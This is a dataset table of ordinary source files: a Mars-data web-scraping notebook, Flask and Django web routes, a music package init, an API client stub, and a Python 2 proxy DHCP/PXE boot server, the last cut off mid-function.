text string | size int64 | token_count int64 |
|---|---|---|
import requests
import json
def initialize_app(config):
return Fexr(config)
class Fexr:
"""interface"""
def __init__(self, config):
self.botEmail = config["botEmail"]
self.botPassword = config["botPassword"]
self.usageId = config["usageId"]
self.config = None
self.requests = requests.Session()
def core(self):
return Core(self.api_key, self.requests)
| 421 | 126 |
{
"cells": [
{
"cell_type": "code",
"execution_count": 211,
"metadata": {},
"outputs": [],
"source": [
"import pandas as pd\n",
"import requests\n",
"\n",
"from splinter import Browser\n",
"from selenium import webdriver\n",
"from bs4 import BeautifulSoup"
]
},
{
"cell_type": "code",
"execution_count": 212,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"/usr/local/bin/chromedriver\r\n"
]
}
],
"source": [
"!which chromedriver"
]
},
{
"cell_type": "code",
"execution_count": 213,
"metadata": {},
"outputs": [],
"source": [
"#set executable path\n",
"\n",
"executable_path = {'executable_path': '/usr/local/bin/chromedriver'}\n",
"browser = Browser('chrome', **executable_path, headless=False)\n"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# nasa mars news site\n"
]
},
{
"cell_type": "code",
"execution_count": 214,
"metadata": {},
"outputs": [],
"source": [
"news_url = \"https://mars.nasa.gov/news/\"\n",
"browser.visit(news_url)"
]
},
{
"cell_type": "code",
"execution_count": 215,
"metadata": {},
"outputs": [],
"source": [
"#parse with BeautifulSoup\n",
"html = browser.html\n",
"soup = BeautifulSoup(html, \"html.parser\")"
]
},
{
"cell_type": "code",
"execution_count": 216,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"NASA's Perseverance Mars Rover Gets Its Wheels and Air Brakes\n",
"After the rover was shipped from JPL to Kennedy Space Center, the team is getting closer to finalizing the spacecraft for launch later this summer.\n"
]
}
],
"source": [
"#extract article title and text\n",
"article = soup.find('div', class_='list_text')\n",
"news_title = article.find('div', class_='content_title').text\n",
"news_p = article.find('div', class_='article_teaser_body').text\n",
"\n",
"print(news_title)\n",
"print(news_p)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# jpl mars space images"
]
},
{
"cell_type": "code",
"execution_count": 217,
"metadata": {},
"outputs": [],
"source": [
"images_url = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'\n",
"browser.visit(images_url)"
]
},
{
"cell_type": "code",
"execution_count": 218,
"metadata": {},
"outputs": [],
"source": [
"#expand full size image\n",
"fullsize = browser.find_by_id(\"full_image\")\n",
"fullsize.click()\n",
"\n",
"#expand more info\n",
"browser.is_element_present_by_text(\"more info\", wait_time=1)\n",
"moreinfo = browser.find_link_by_partial_text(\"more info\")\n",
"moreinfo.click()"
]
},
{
"cell_type": "code",
"execution_count": 219,
"metadata": {},
"outputs": [],
"source": [
"#parse with BeautifulSoup\n",
"\n",
"html_image = browser.html\n",
"soup = BeautifulSoup(html_image, 'html.parser')"
]
},
{
"cell_type": "code",
"execution_count": 220,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"'/spaceimages/images/largesize/PIA19083_hires.jpg'"
]
},
"execution_count": 220,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"featured_image_url = soup.select_one(\"figure.lede a img\").get(\"src\")\n",
"featured_image_url"
]
},
{
"cell_type": "code",
"execution_count": 221,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"https://www.jpl.nasa.govhttp://astropedia.astrogeology.usgs.gov/download/Mars/Viking/valles_marineris_enhanced.tif/full.jpg\n"
]
}
],
"source": [
"#combine base url with image url\n",
"featured_image_url = f\"https://www.jpl.nasa.gov{img_url}\"\n",
"print(featured_image_url)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# mars weather"
]
},
{
"cell_type": "code",
"execution_count": 222,
"metadata": {},
"outputs": [],
"source": [
"weather_url = 'https://twitter.com/marswxreport?lang=en'\n",
"browser.visit(weather_url)"
]
},
{
"cell_type": "code",
"execution_count": 223,
"metadata": {},
"outputs": [],
"source": [
"#use requests library to get tweet\n",
"response = requests.get(weather_url)\n",
"soup = BeautifulSoup(response.text, 'lxml')"
]
},
{
"cell_type": "code",
"execution_count": 224,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"InSight sol 480 (2020-04-02) low -93.0ºC (-135.5ºF) high -6.7ºC (19.9ºF)\n",
"winds from the SW at 5.8 m/s (13.1 mph) gusting to 17.2 m/s (38.5 mph)\n",
"pressure at 6.50 hPapic.twitter.com/8oUTHBmcXp\n"
]
}
],
"source": [
"mars_weather = soup.find('p', class_='TweetTextSize TweetTextSize--normal js-tweet-text tweet-text').text.strip()\n",
"print(mars_weather)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# mars facts"
]
},
{
"cell_type": "code",
"execution_count": 225,
"metadata": {},
"outputs": [],
"source": [
"facts_url = \"https://space-facts.com/mars/\"\n",
"browser.visit(facts_url)\n",
"html_url = browser.html"
]
},
{
"cell_type": "code",
"execution_count": 226,
"metadata": {},
"outputs": [
{
"data": {
"text/html": [
"<div>\n",
"<style scoped>\n",
" .dataframe tbody tr th:only-of-type {\n",
" vertical-align: middle;\n",
" }\n",
"\n",
" .dataframe tbody tr th {\n",
" vertical-align: top;\n",
" }\n",
"\n",
" .dataframe thead th {\n",
" text-align: right;\n",
" }\n",
"</style>\n",
"<table border=\"1\" class=\"dataframe\">\n",
" <thead>\n",
" <tr style=\"text-align: right;\">\n",
" <th></th>\n",
" <th>0</th>\n",
" <th>1</th>\n",
" </tr>\n",
" </thead>\n",
" <tbody>\n",
" <tr>\n",
" <th>0</th>\n",
" <td>Equatorial Diameter:</td>\n",
" <td>6,792 km</td>\n",
" </tr>\n",
" <tr>\n",
" <th>1</th>\n",
" <td>Polar Diameter:</td>\n",
" <td>6,752 km</td>\n",
" </tr>\n",
" <tr>\n",
" <th>2</th>\n",
" <td>Mass:</td>\n",
" <td>6.39 × 10^23 kg (0.11 Earths)</td>\n",
" </tr>\n",
" <tr>\n",
" <th>3</th>\n",
" <td>Moons:</td>\n",
" <td>2 (Phobos & Deimos)</td>\n",
" </tr>\n",
" <tr>\n",
" <th>4</th>\n",
" <td>Orbit Distance:</td>\n",
" <td>227,943,824 km (1.38 AU)</td>\n",
" </tr>\n",
" <tr>\n",
" <th>5</th>\n",
" <td>Orbit Period:</td>\n",
" <td>687 days (1.9 years)</td>\n",
" </tr>\n",
" <tr>\n",
" <th>6</th>\n",
" <td>Surface Temperature:</td>\n",
" <td>-87 to -5 °C</td>\n",
" </tr>\n",
" <tr>\n",
" <th>7</th>\n",
" <td>First Record:</td>\n",
" <td>2nd millennium BC</td>\n",
" </tr>\n",
" <tr>\n",
" <th>8</th>\n",
" <td>Recorded By:</td>\n",
" <td>Egyptian astronomers</td>\n",
" </tr>\n",
" </tbody>\n",
"</table>\n",
"</div>"
],
"text/plain": [
" 0 1\n",
"0 Equatorial Diameter: 6,792 km\n",
"1 Polar Diameter: 6,752 km\n",
"2 Mass: 6.39 × 10^23 kg (0.11 Earths)\n",
"3 Moons: 2 (Phobos & Deimos)\n",
"4 Orbit Distance: 227,943,824 km (1.38 AU)\n",
"5 Orbit Period: 687 days (1.9 years)\n",
"6 Surface Temperature: -87 to -5 °C\n",
"7 First Record: 2nd millennium BC\n",
"8 Recorded By: Egyptian astronomers"
]
},
"execution_count": 226,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"#retieve first table\n",
"mars_df = pd.read_html(facts_url)[0]\n",
"mars_df\n"
]
},
{
"cell_type": "code",
"execution_count": 227,
"metadata": {},
"outputs": [
{
"data": {
"text/html": [
"<div>\n",
"<style scoped>\n",
" .dataframe tbody tr th:only-of-type {\n",
" vertical-align: middle;\n",
" }\n",
"\n",
" .dataframe tbody tr th {\n",
" vertical-align: top;\n",
" }\n",
"\n",
" .dataframe thead th {\n",
" text-align: right;\n",
" }\n",
"</style>\n",
"<table border=\"1\" class=\"dataframe\">\n",
" <thead>\n",
" <tr style=\"text-align: right;\">\n",
" <th></th>\n",
" <th>Value</th>\n",
" </tr>\n",
" <tr>\n",
" <th>Description</th>\n",
" <th></th>\n",
" </tr>\n",
" </thead>\n",
" <tbody>\n",
" <tr>\n",
" <th>Equatorial Diameter:</th>\n",
" <td>6,792 km</td>\n",
" </tr>\n",
" <tr>\n",
" <th>Polar Diameter:</th>\n",
" <td>6,752 km</td>\n",
" </tr>\n",
" <tr>\n",
" <th>Mass:</th>\n",
" <td>6.39 × 10^23 kg (0.11 Earths)</td>\n",
" </tr>\n",
" <tr>\n",
" <th>Moons:</th>\n",
" <td>2 (Phobos & Deimos)</td>\n",
" </tr>\n",
" <tr>\n",
" <th>Orbit Distance:</th>\n",
" <td>227,943,824 km (1.38 AU)</td>\n",
" </tr>\n",
" <tr>\n",
" <th>Orbit Period:</th>\n",
" <td>687 days (1.9 years)</td>\n",
" </tr>\n",
" <tr>\n",
" <th>Surface Temperature:</th>\n",
" <td>-87 to -5 °C</td>\n",
" </tr>\n",
" <tr>\n",
" <th>First Record:</th>\n",
" <td>2nd millennium BC</td>\n",
" </tr>\n",
" <tr>\n",
" <th>Recorded By:</th>\n",
" <td>Egyptian astronomers</td>\n",
" </tr>\n",
" </tbody>\n",
"</table>\n",
"</div>"
],
"text/plain": [
" Value\n",
"Description \n",
"Equatorial Diameter: 6,792 km\n",
"Polar Diameter: 6,752 km\n",
"Mass: 6.39 × 10^23 kg (0.11 Earths)\n",
"Moons: 2 (Phobos & Deimos)\n",
"Orbit Distance: 227,943,824 km (1.38 AU)\n",
"Orbit Period: 687 days (1.9 years)\n",
"Surface Temperature: -87 to -5 °C\n",
"First Record: 2nd millennium BC\n",
"Recorded By: Egyptian astronomers"
]
},
"execution_count": 227,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"#rename columns and set index\n",
"mars_df.columns=[\"Description\", \"Value\"]\n",
"mars_df.set_index(\"Description\", inplace=True)\n",
"mars_df"
]
},
{
"cell_type": "code",
"execution_count": 228,
"metadata": {},
"outputs": [],
"source": [
"#convert table to html string\n",
"mars_df.to_html('table.html')\n"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# mars hemispheres"
]
},
{
"cell_type": "code",
"execution_count": 229,
"metadata": {},
"outputs": [],
"source": [
"hemispheres_url = \"https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars\"\n",
"browser.visit(hemispheres_url)\n",
"html_hemispheres = browser.html"
]
},
{
"cell_type": "code",
"execution_count": 230,
"metadata": {},
"outputs": [],
"source": [
"soup = BeautifulSoup(html_hemispheres, \"html.parser\")\n"
]
},
{
"cell_type": "code",
"execution_count": 231,
"metadata": {},
"outputs": [],
"source": [
"#empty list for hemisphere image urls\n",
"hemisphere_image_urls = []\n"
]
},
{
"cell_type": "code",
"execution_count": 232,
"metadata": {},
"outputs": [],
"source": [
"results = soup.find(\"div\", class_ = \"results\" )\n",
"\n",
"images = results.find_all(\"div\", class_=\"item\")\n"
]
},
{
"cell_type": "code",
"execution_count": 233,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[{'title': 'Cerberus Hemisphere ', 'img_url': 'http://astropedia.astrogeology.usgs.gov/download/Mars/Viking/cerberus_enhanced.tif/full.jpg'}, {'title': 'Schiaparelli Hemisphere ', 'img_url': 'http://astropedia.astrogeology.usgs.gov/download/Mars/Viking/schiaparelli_enhanced.tif/full.jpg'}, {'title': 'Syrtis Major Hemisphere ', 'img_url': 'http://astropedia.astrogeology.usgs.gov/download/Mars/Viking/syrtis_major_enhanced.tif/full.jpg'}, {'title': 'Valles Marineris Hemisphere ', 'img_url': 'http://astropedia.astrogeology.usgs.gov/download/Mars/Viking/valles_marineris_enhanced.tif/full.jpg'}]\n"
]
}
],
"source": [
"#looping through hemisphere images to extract urls abd titles\n",
"\n",
"for image in images:\n",
" title = image.find(\"h3\").text\n",
" title = title.replace(\"Enhanced\", \"\")\n",
" endlink = image.find(\"a\")[\"href\"]\n",
" img_url = \"https://astrogeology.usgs.gov/\" + endlink\n",
" \n",
" browser.visit(img_url)\n",
" html_links = browser.html\n",
" soup = BeautifulSoup(html_links, \"html.parser\")\n",
" downloads = soup.find(\"div\", class_=\"downloads\")\n",
" img_url = downloads.find(\"a\")[\"href\"]\n",
" hemisphere_image_urls.append({\"title\": title, \"img_url\": img_url})\n",
"\n",
"print(hemisphere_image_urls)"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.7.4"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
| 15,313 | 6,050 |
from flask import Blueprint, request
from app.models import UserItem, User, db
from app.forms import InventoryItemForm
from flask_login import login_required
from app.utils import validation_errors_to_error_messages
inventory_routes = Blueprint('inventory', __name__)
# Get all of a user's Items
@inventory_routes.route('/<int:user_id>')
@login_required
def user_inventory(user_id):
user = User.query.get(user_id)
if user:
return {"inventory": user.inventory()}
else:
return {"errors": "User Not Found"}
# Add an item to a user intentory
@inventory_routes.route('/<int:user_id>', methods=['POST'])
@login_required
def add_item(user_id):
user = User.query.get(user_id)
form = InventoryItemForm()
form['csrf_token'].data = request.cookies['csrf_token']
if form.validate_on_submit():
item_id = form.data['item_id']
measurement_id = form.data['measurement_id']
item = UserItem(
item_id=form.data['item_id'],
user_id=user_id,
expiration_date=form.data['expiration_date'],
quantity=form.data['quantity'],
measurement_id=form.data['measurement_id']
)
db.session.add(item)
if form.errors:
return {"errors": validation_errors_to_error_messages(form.errors)}
else:
db.session.commit()
return {"inventory": user.inventory()}
@inventory_routes.route('/<int:user_id>/<int:item_id>',
methods=['PUT', 'DELETE'])
@login_required
def edit_delete_item(user_id, item_id):
user = User.query.get(user_id)
item = UserItem.query.get(item_id)
form = InventoryItemForm()
if request.method == 'PUT':
form['csrf_token'].data = request.cookies['csrf_token']
form['item_id'].data = item.item.id
if form.validate_on_submit():
item.expiration_date = form.data['expiration_date']
print(item.expiration_date)
item.quantity = form.data['quantity']
measurement_id = form.data['measurement_id']
db.session.add(item)
if request.method == 'DELETE':
db.session.delete(item)
if form.errors:
return {"errors": validation_errors_to_error_messages(form.errors)}
else:
db.session.commit()
return {"inventory": user.inventory()}
| 2,339 | 724 |
"""
Copyright 2014-2018 University of Illinois
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
file: audits/urls.py
Author: Jon Gunderson
"""
# reports/urls.py
from __future__ import absolute_import
from django.conf.urls import url
from .views import AuditsView
from .views import AuditView
from .views import RunView
from .views import ProcessingView
urlpatterns = [
url(r'^$', AuditsView.as_view(), name='audits'),
url(r'^a/(?P<audit_slug>[\w-]+)/$', AuditView.as_view(), name='audit'),
url(r'^run/(?P<audit_slug>[\w-]+)/$', RunView.as_view(), name='audit_run'),
url(r'^processing/$', ProcessingView.as_view(), name='audit_processing')
]
| 1,208 | 388 |
# BSD 3-Clause License; see https://github.com/jpivarski/doremi/blob/main/LICENSE
from ._version import version as __version__
from typing import Optional
import doremi.parsing
import doremi.abstract
import doremi.concrete
def compose(
source: str,
scale: doremi.concrete.AnyScale = "C major",
bpm: float = 120.0,
scope: Optional[doremi.abstract.Scope] = None,
) -> doremi.concrete.Composition:
scale = doremi.concrete.get_scale(scale)
abstract_collection = doremi.abstract.abstracttree(source)
num_beats, abstract_notes, scope = abstract_collection.evaluate(scope)
return doremi.concrete.Composition(
scale, bpm, num_beats, scope, abstract_collection, abstract_notes
)
__all__ = ("__version__", "compose")
| 760 | 261 |
import flask_excel as excel
from app.api import bp
from flask import request
from app.utils.user_auth import token_auth
from app.models import Alert, InactivityAlert
from sqlalchemy.orm import with_polymorphic
from dateutil import parser
@bp.route('/utility/csv', methods=['POST'])
@token_auth.login_required
def get_csv():
data = request.get_json()
return create_csv(data['table'], data['title'])
def create_csv(data, title):
return excel.make_response_from_array(
data, "csv", file_name=title)
| 522 | 165 |
"""
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
"""
import logging
import logging.handlers
import sys
import traceback
import multiprocessing
from proxyconfig import parse_config
from dhcplib.dhcp_network import *
from dhcplib.dhcp_packet import *
class DhcpServerBase(DhcpNetwork,multiprocessing.Process) :
def __init__(self, listen_address="0.0.0.0", client_listen_port=68,
server_listen_port=67) :
DhcpNetwork.__init__(self,listen_address,server_listen_port,client_listen_port)
self.logger = logging.getLogger('proxydhcp')
#self.logger.setLevel(logging.INFO)
# self.logger.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(asctime)s %(levelname)s ProxyDHCP: %(message)s')
self.consoleLog = logging.StreamHandler()
self.consoleLog.setFormatter(formatter)
self.logger.addHandler(self.consoleLog)
if sys.platform == 'win32':
self.fileLog = logging.FileHandler('proxy.log')
self.fileLog.setFormatter(formatter)
self.logger.addHandler(self.fileLog)
else:
if sys.platform == 'darwin':
self.syslogLog = logging.handlers.SysLogHandler("/var/run/syslog")
else:
self.syslogLog = logging.handlers.SysLogHandler("/dev/log")
self.syslogLog.setFormatter(formatter)
self.syslogLog.setLevel(logging.INFO)
self.logger.addHandler(self.syslogLog)
try :
self.dhcp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.dhcp_socket.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST,1)
self.dhcp_socket_send = self.dhcp_socket
if sys.platform == 'win32':
self.dhcp_socket.bind((self.listen_address,self.listen_port))
else:
# Linux and windows differ on the way they bind to broadcast sockets
# ifname = net.get_dev_name(self.listen_address)
# self.dhcp_socket.setsockopt(socket.SOL_SOCKET,IN.SO_BINDTODEVICE,ifname+'\0')
# We need to to do a total hack and have one for sending, one for receiving.
self.dhcp_socket_send = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
self.dhcp_socket_send.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST,1)
self.dhcp_socket.bind(('',self.listen_port))
self.dhcp_socket_send.bind((self.listen_address,0))
except socket.error, msg :
self.log('info',"Error creating socket for server: \n %s"%str(msg))
self.loop = True
multiprocessing.Process.__init__(self)
def run(self):
while self.loop:
try:
self.GetNextDhcpPacket()
except:
traceback.print_exc()
self.log('info','Service shutdown')
def log(self,level,message):
if level == 'info':
self.logger.info(message)
else:
self.logger.debug(message)
class DHCPD(DhcpServerBase):
loop = True
def __init__(self,configfile='proxy.ini',client_port=68,server_port=67,
shared_acl=None,
shared_map=None):
self.client_port = int(client_port)
self.server_port = int(server_port)
self.config = parse_config(configfile)
DhcpServerBase.__init__(self,self.config['proxy']["listen_address"],self.client_port,self.server_port)
self.log('info',"Starting DHCP on ports client: %s, server: %s"%(self.client_port,self.server_port))
#ip_pool
# start_ip should be something like [192.168.1.100]
self.start_ip = map(int, self.config['network']["ip_start"].split("."))
self.pool_size = int(self.config['network']["pool_size"])
if self.start_ip[3] + self.pool_size >= 255:
self.log('error', "Defined start ip address and pool size is too big for class C subnet")
# Shared objects for access control
self.acl = shared_acl
self.mac_to_ip = shared_map
# Keep track of what file each mac is booting
self.mac_to_bootfile = {}
def GetFreeIP(self):
"""
Returns free IP or None if full
"""
for i in xrange(self.pool_size):
ip = self.start_ip
ip[3] += i
# ipkey should be something like [192,168,1,102]
if ip not in self.mac_to_ip.values():
return ip
# Ran out of IPs
return None
def HandleDhcpDiscover(self, packet):
# don't even bother responding if we have run out of addresses
mac_addr = ":".join(map(self.fmtHex,packet.GetHardwareAddress()))
# proposed IP address
prospective_ip = None
# if this mac_addr already has an IP, just give it the same one
if mac_addr in self.mac_to_ip:
prospective_ip = self.mac_to_ip[mac_addr]
else:
# try to find a free IP
prospective_ip = self.GetFreeIP()
# if we couldn't get an IP, then throw an error
if prospective_ip is None:
self.log('error','No More IPs! Ignored DHCP Discover from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
return
else:
self.mac_to_ip[mac_addr] = prospective_ip
# Handle PXE request
if packet.IsOption('vendor_class_identifier'):
class_identifier = strlist(packet.GetOption('vendor_class_identifier'))
if class_identifier.str()[0:9] == "PXEClient":
responsepacket = DhcpPacket()
responsepacket.CreateDhcpOfferPacketFrom(packet)
# DO ACL check - don't respond for PXE (only) if not in ACL
if mac_addr not in self.acl:
self.log('info','UNAUTHORIZED PXE Discover from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
self.log('info', 'Sending bad filename to skip PXE.')
self.mac_to_bootfile[mac_addr] = "lophi_no_pxe_access"
else:
self.log('info', 'PXE Booting %s...'%":".join(map(self.fmtHex,packet.GetHardwareAddress())) )
# Only permit one boot
# del self.acl[mac_addr]
# self.logger.info("Deleting %s from acl."%mac_addr)
self.mac_to_bootfile[mac_addr] = self.config['proxy']['filename']
responsepacket.SetMultipleOptions( {
#'hlen': packet.GetOption("hlen"),
#'htype': packet.GetOption("htype"),
#'xid': packet.GetOption("xid"),
#'flags': packet.GetOption("flags"),
'flags': [0,0],
'giaddr':[0,0,0,0],
'yiaddr':prospective_ip,
'ciaddr':[0,0,0,0],
'siaddr':self.config['tftp']["address"],
'file': map(ord, (self.mac_to_bootfile[mac_addr].ljust(128,"\0"))),
'sname': map(ord, "unknown.localdomain".ljust(64,"\0"))
} )
#responsepacket.SetOption("vendor_class_identifier", map(ord, "PXEClient"))
#if self.config['proxy']['vendor_specific_information']:
# responsepacket.SetOption('vendor_specific_information', map(ord, self.config['proxy']['vendor_specific_information']))
responsepacket.SetOption("server_identifier",map(int, self.config['proxy']["listen_address"].split(".")))
# 1 day
responsepacket.SetOption("ip_address_lease_time",[0,1,81,128])
#responsepacket.SetOption("renewal_time_value",[0,255,255,255])
#responsepacket.SetOption("rebinding_time_value",[0,255,255,255])
#responsepacket.SetOption("bootfile_name", map(ord, (self.config['proxy']['filename'].ljust(128,"\0"))),)
#responsepacket.SetOption("subnet_mask",[255,255,255,0])
responsepacket.SetOption("subnet_mask",map(int, self.config['network']['subnet_mask'].split(".")))
#responsepacket.SetOption("broadcast_address",[192,168,1,255])
responsepacket.SetOption("router",map(int, self.config['proxy']["listen_address"].split(".")))
#responsepacket.SetOption("domain_name_server",map(int, self.config['proxy']["listen_address"].split(".")))
self.SendDhcpPacketTo(responsepacket, "255.255.255.255", self.client_port)
self.log('info','******Responded to PXE Discover from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
return
# Handle normal DHCP
self.log('debug','Noticed a non-boot DHCP Discover packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
self.log('debug','Responding with normal DHCP Offer packet to ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
responsepacket = DhcpPacket()
responsepacket.CreateDhcpOfferPacketFrom(packet)
responsepacket.SetMultipleOptions( {
'giaddr':[0,0,0,0],
'yiaddr':prospective_ip,
'ciaddr':[0,0,0,0],
'siaddr':map(int, self.config['proxy']["listen_address"].split("."))
} )
responsepacket.SetOption("server_identifier",map(int, self.config['proxy']["listen_address"].split(".")))
responsepacket.SetOption("ip_address_lease_time",[0,0,0xe,0x10])#[0,255,255,255])
responsepacket.SetOption("renewal_time_value",[0,0,0x7,0x8])
responsepacket.SetOption("rebinding_time_value",[0,0,0xc,0x4e])
responsepacket.SetOption("subnet_mask", map(int, self.config['network']['subnet_mask'].split(".")))
responsepacket.SetOption("broadcast_address", map(int, self.config['network']['broadcast'].split(".")))
responsepacket.SetOption("router",map(int, self.config['proxy']["listen_address"].split(".")))
responsepacket.SetOption("domain_name_server",map(int, self.config['proxy']["listen_address"].split(".")))
self.SendDhcpPacketTo(responsepacket, "255.255.255.255", self.client_port)
# self.SendDhcpPacketTo(responsepacket, ".".join([str(x) for x in prospective_ip]) , self.client_port)
def HandleDhcpRequest(self, packet):
# don't even bother responding if we have run out of addresses
mac_addr = ":".join(map(self.fmtHex,packet.GetHardwareAddress()))
# proposed IP address
prospective_ip = None
# if this mac_addr already has an IP, just give it the same one
if mac_addr in self.mac_to_ip:
prospective_ip = self.mac_to_ip[mac_addr]
else:
# try to find a free IP
prospective_ip = self.GetFreeIP()
# if we couldn't get an IP, then throw an error
if prospective_ip is None:
self.log('error','No More IPs! Ignored DHCP Discover from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
return
else:
self.mac_to_ip[mac_addr] = prospective_ip
# Handle PXE request
if packet.IsOption('vendor_class_identifier'):
class_identifier = strlist(packet.GetOption('vendor_class_identifier'))
if class_identifier.str()[0:9] == "PXEClient":
# Remove the ACL at this point in the protocol
if mac_addr in self.acl:
del self.acl[mac_addr]
self.logger.info("Deleting %s from acl."%mac_addr)
responsepacket = DhcpPacket()
responsepacket.CreateDhcpAckPacketFrom(packet)
responsepacket.SetMultipleOptions( {
#'hlen': packet.GetOption("hlen"),
#'htype': packet.GetOption("htype"),
#'xid': packet.GetOption("xid"),
'flags': [0,0],
'giaddr': packet.GetOption("giaddr"),
'yiaddr': prospective_ip,
'siaddr': self.config['tftp']['address'],
'vendor_class_identifier': map(ord, "PXEClient"),
'file': map(ord, (self.mac_to_bootfile[mac_addr].ljust(128,"\0"))),
'sname': map(ord, "unknown.localdomain".ljust(64,"\0"))
} )
responsepacket.SetOption("server_identifier", map(int, self.config['proxy']["listen_address"].split(".")))
# 1 day
responsepacket.SetOption("ip_address_lease_time",[0,1,81,128])
responsepacket.SetOption("subnet_mask", map(int, self.config['network']["subnet_mask"].split(".")))
#responsepacket.SetOption("broadcast_address",[192,168,1,255])
responsepacket.SetOption("router",map(int, self.config['proxy']["listen_address"].split(".")))
#responsepacket.SetOption("domain_name_server",map(int, self.config['proxy']["listen_address"].split(".")))
self.SendDhcpPacketTo(responsepacket, "255.255.255.255", self.client_port)
self.log('info','****Responded to PXE Request (port 67 ) from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
return
# Handle Normal DHCP
self.log('debug','Noticed a non PXE DHCP Request (port 67) packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
self.log('debug','Responding with normal DHCP Ack packet to ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
responsepacket = DhcpPacket()
responsepacket.CreateDhcpAckPacketFrom(packet)
responsepacket.SetMultipleOptions( {
'giaddr':packet.GetOption('giaddr'),
'yiaddr':prospective_ip,
'ciaddr':[0,0,0,0],
'siaddr':map(int, self.config['proxy']["listen_address"].split("."))
} )
responsepacket.SetOption("server_identifier",map(int, self.config['proxy']["listen_address"].split(".")))
responsepacket.SetOption("ip_address_lease_time",[0,255,255,255])
responsepacket.SetOption("renewal_time_value",[0,255,255,255])
responsepacket.SetOption("rebinding_time_value",[0,255,255,255])
responsepacket.SetOption("subnet_mask", map(int, self.config['network']['subnet_mask'].split(".")))
responsepacket.SetOption("broadcast_address", map(int, self.config['network']['broadcast'].split(".")))
responsepacket.SetOption("router",map(int, self.config['proxy']["listen_address"].split(".")))
responsepacket.SetOption("domain_name_server",map(int, self.config['proxy']["listen_address"].split(".")))
self.SendDhcpPacketTo(responsepacket, "255.255.255.255", self.client_port)
#self.SendDhcpPacketTo(responsepacket, "192.168.1.255", self.client_port)
def HandleDhcpDecline(self, packet):
self.log('debug','Noticed a DHCP Decline packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
# remove the IP if any was assigned
mac_addr = ":".join(map(self.fmtHex,packet.GetHardwareAddress()))
if mac_addr in self.mac_to_ip:
del self.mac_to_ip[mac_addr]
def HandleDhcpRelease(self, packet):
self.log('debug','Noticed a DHCP Release packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
# remove the IP if any was assigned
mac_addr = ":".join(map(self.fmtHex,packet.GetHardwareAddress()))
if mac_addr in self.mac_to_ip:
del self.mac_to_ip[mac_addr]
def HandleDhcpInform(self, packet):
self.log('debug','Noticed a DHCP Inform packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
def fmtHex(self,input):
input=hex(input)
input=str(input)
input=input.replace("0x","")
if len(input)==1:
input="0"+input
return input
class ProxyDHCPD(DHCPD):
def __init__(self,configfile='proxy.ini',client_port=68,server_port=67):
self.config = parse_config(configfile)
self.client_port = client_port
self.server_port = server_port
DHCPD.__init__(self,configfile,server_port=server_port)
def HandleDhcpDiscover(self, packet):
self.log('debug','Noticed a DHCP Discover packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
def HandleDhcpRequest(self, packet):
# don't even bother responding if we have run out of addresses
mac_addr = ":".join(map(self.fmtHex,packet.GetHardwareAddress()))
if packet.IsOption('vendor_class_identifier'):
class_identifier = strlist(packet.GetOption('vendor_class_identifier'))
if class_identifier.str()[0:9] == "PXEClient":
responsepacket = DhcpPacket()
responsepacket.CreateDhcpAckPacketFrom(packet)
responsepacket.SetMultipleOptions( {
'hlen': packet.GetOption("hlen"),
'htype': packet.GetOption("htype"),
'xid': packet.GetOption("xid"),
